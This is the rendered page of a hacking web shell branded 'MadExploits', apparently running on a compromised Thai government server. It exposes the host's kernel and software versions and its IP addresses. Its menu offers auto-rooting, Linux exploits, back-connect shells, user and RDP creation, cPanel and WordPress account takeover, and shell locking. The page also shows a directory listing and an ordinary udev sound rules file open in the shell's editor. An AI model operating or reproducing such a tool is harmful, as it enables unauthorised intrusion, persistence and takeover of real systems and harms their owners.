Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib /
udev /
rules.d /
[ HOME SHELL ]
Name
Size
Permission
Action
01-log-block.rules
207
B
-rw-r--r--
10-console.rules
421
B
-rw-r--r--
10-dm.rules
6.8
KB
-r--r--r--
11-dm-lvm.rules
2.41
KB
-r--r--r--
13-dm-disk.rules
1.5
KB
-r--r--r--
40-isdn.rules
180
B
-rw-r--r--
40-redhat.rules
1.54
KB
-rw-r--r--
42-qemu-usb.rules
405
B
-rw-r--r--
50-firmware.rules
172
B
-rw-r--r--
50-udev-default.rules
4.31
KB
-rw-r--r--
60-alias-kmsg.rules
357
B
-rw-r--r--
60-cdrom_id.rules
316
B
-rw-r--r--
60-net.rules
283
B
-rw-r--r--
60-persistent-alsa.rules
676
B
-rw-r--r--
60-persistent-input.rules
2.18
KB
-rw-r--r--
60-persistent-serial.rules
893
B
-rw-r--r--
60-persistent-storage-tape.rul...
1.42
KB
-rw-r--r--
60-persistent-storage.rules
7.31
KB
-rw-r--r--
60-persistent-v4l.rules
789
B
-rw-r--r--
61-mobile-action.rules
722
B
-rw-r--r--
61-option-modem-modeswitch.rul...
3.95
KB
-rw-r--r--
61-persistent-storage-edd.rule...
532
B
-rw-r--r--
61-sas-storage.rules
487
B
-rw-r--r--
64-device-mapper.rules
107
B
-rw-r--r--
64-md-raid.rules
1.86
KB
-rw-r--r--
65-md-incremental.rules
2.69
KB
-rw-r--r--
69-dm-lvm-metad.rules
4.18
KB
-r--r--r--
70-acl.rules
1.74
KB
-rw-r--r--
70-cups-libusb.rules
292
B
-rw-r--r--
70-hid2hci.rules
1.34
KB
-rw-r--r--
71-biosdevname.rules
1.06
KB
-rw-r--r--
73-idrac.rules
259
B
-rw-r--r--
75-cd-aliases-generator.rules
462
B
-rw-r--r--
75-net-description.rules
680
B
-rw-r--r--
75-persistent-net-generator.ru...
4.04
KB
-rw-r--r--
75-tty-description.rules
658
B
-rw-r--r--
78-sound-card.rules
4.79
KB
-rw-r--r--
79-fstab_import.rules
137
B
-rw-r--r--
80-drivers.rules
846
B
-rw-r--r--
80-iosched.rules
584
B
-rw-r--r--
80-mpath-iosched.rules
398
B
-rw-r--r--
81-kvm-rhel.rules
92
B
-rw-r--r--
85-regulatory.rules
295
B
-rw-r--r--
88-clock.rules
291
B
-rw-r--r--
89-microcode.rules
173
B
-rw-r--r--
90-infiniband.rules
178
B
-rw-r--r--
91-drm-modeset.rules
56
B
-rw-r--r--
95-dm-notify.rules
492
B
-r--r--r--
95-keyboard-force-release.rule...
2.85
KB
-rw-r--r--
95-keymap.rules
9.76
KB
-rw-r--r--
95-udev-late.rules
155
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 78-sound-card.rules
# do not edit this file, it will be overwritten on update SUBSYSTEM!="sound", GOTO="sound_end" ACTION=="add|change", KERNEL=="controlC*", ATTR{../uevent}="change" ACTION!="change", GOTO="sound_end" # Ok, we probably need a little explanation here for what the two lines above # are good for. # # The story goes like this: when ALSA registers a new sound card it emits a # series of 'add' events to userspace, for the main card device and for all the # child device nodes that belong to it. udev relays those to applications, # however only maintains the order between father and child, but not between # the siblings. The control device node creation can be used as synchronization # point. All other devices that belong to a card are created in the kernel # before it. However unfortunately due to the fact that siblings are forwarded # out of order by udev this fact is lost to applications. # # OTOH before an application can open a device it needs to make sure that all # its device nodes are completely created and set up. # # As a workaround for this issue we have added the udev rule above which will # generate a 'change' event on the main card device from the 'add' event of the # card's control device. Due to the ordering semantics of udev this event will # only be relayed after all child devices have finished processing properly. # When an application needs to listen for appearing devices it can hence look # for 'change' events only, and ignore the actual 'add' events. # # When the application is initialized at the same time as a device is plugged # in it may need to figure out if the 'change' event has already been triggered # or not for a card. To find that out we store the flag environment variable # SOUND_INITIALIZED on the device which simply tells us if the card 'change' # event has already been processed. KERNEL!="card*", GOTO="sound_end" ENV{SOUND_INITIALIZED}="1" SUBSYSTEMS=="usb", ENV{ID_MODEL}=="", IMPORT{program}="usb_id --export %p" SUBSYSTEMS=="usb", ENV{ID_VENDOR_FROM_DATABASE}=="", IMPORT{program}="usb-db %p" SUBSYSTEMS=="usb", ATTRS{idVendor}!="", ATTRS{idProduct}!="", ENV{ID_VENDOR_ID}="$attr{idVendor}", ENV{ID_MODEL_ID}="$attr{idProduct}" SUBSYSTEMS=="usb", ATTRS{bInterfaceNumber}!="", ENV{ID_IFACE}="$attr{bInterfaceNumber}" SUBSYSTEMS=="usb", GOTO="skip_pci" SUBSYSTEMS=="pci", ENV{ID_VENDOR_FROM_DATABASE}=="", IMPORT{program}="pci-db %p" SUBSYSTEMS=="pci", ENV{ID_BUS}="pci", ENV{ID_VENDOR_ID}="$attr{vendor}", ENV{ID_MODEL_ID}="$attr{device}" LABEL="skip_pci" ENV{ID_SERIAL}=="?*", ENV{ID_IFACE}=="?*", ENV{ID_ID}="$env{ID_BUS}-$env{ID_SERIAL}-$env{ID_IFACE}-$attr{id}" ENV{ID_SERIAL}=="?*", ENV{ID_IFACE}=="", ENV{ID_ID}="$env{ID_BUS}-$env{ID_SERIAL}-$attr{id}" ENV{ID_PATH}=="", IMPORT{program}="path_id %p/controlC%n" # The values used here for $SOUND_FORM_FACTOR and $SOUND_CLASS should be kept # in sync with those defined for PulseAudio's src/pulse/proplist.h # PA_PROP_DEVICE_FORM_FACTOR, PA_PROP_DEVICE_CLASS properties. # If the first PCM device of this card has the pcm class 'modem', then the card is a modem ATTR{pcmC%nD0p/pcm_class}=="modem", ENV{SOUND_CLASS}="modem", GOTO="sound_end" # Identify cards on the internal PCI bus as internal SUBSYSTEMS=="pci", DEVPATH=="*/0000:00:??.?/sound/*", ENV{SOUND_FORM_FACTOR}="internal", GOTO="sound_end" # Recognize good old WinTV cards and those based on saa7134 as TV cards SUBSYSTEMS=="pci", DRIVERS=="Bt87x", ENV{SOUND_FORM_FACTOR}="tv", GOTO="sound_end" SUBSYSTEMS=="pci", DRIVERS=="saa7134", ENV{SOUND_FORM_FACTOR}="tv", GOTO="sound_end" # Hmm, do we really want this database here? SUBSYSTEMS=="usb", ATTRS{idVendor}=="0471", ATTRS{idProduct}=="0311", ENV{SOUND_FORM_FACTOR}="webcam", GOTO="sound_end" # Devices that also support Image/Video interfaces are most likely webcams SUBSYSTEMS=="usb", ENV{ID_USB_INTERFACES}=="*:0e????:*", ENV{SOUND_FORM_FACTOR}="webcam", GOTO="sound_end" # Matching on the model strings is a bit ugly, I admit ENV{ID_MODEL}=="*[Ss]peaker*", ENV{SOUND_FORM_FACTOR}="speaker", GOTO="sound_end" ENV{ID_MODEL_FROM_DATABASE}=="*[Ss]peaker*", ENV{SOUND_FORM_FACTOR}="speaker", GOTO="sound_end" ENV{ID_MODEL}=="*[Hh]eadphone*", ENV{SOUND_FORM_FACTOR}="headphone", GOTO="sound_end" ENV{ID_MODEL_FROM_DATABASE}=="*[Hh]eadphone*", ENV{SOUND_FORM_FACTOR}="headphone", GOTO="sound_end" ENV{ID_MODEL}=="*[Hh]eadset*", ENV{SOUND_FORM_FACTOR}="headset", GOTO="sound_end" ENV{ID_MODEL_FROM_DATABASE}=="*[Hh]eadset*", ENV{SOUND_FORM_FACTOR}="headset", GOTO="sound_end" ENV{ID_MODEL}=="*[Hh]andset*", ENV{SOUND_FORM_FACTOR}="handset", GOTO="sound_end" ENV{ID_MODEL_FROM_DATABASE}=="*[Hh]andset*", ENV{SOUND_FORM_FACTOR}="handset", GOTO="sound_end" ENV{ID_MODEL}=="*[Mm]icrophone*", ENV{SOUND_FORM_FACTOR}="microphone", GOTO="sound_end" ENV{ID_MODEL_FROM_DATABASE}=="*[Mm]icrophone*", ENV{SOUND_FORM_FACTOR}="microphone", GOTO="sound_end" LABEL="sound_end"
Close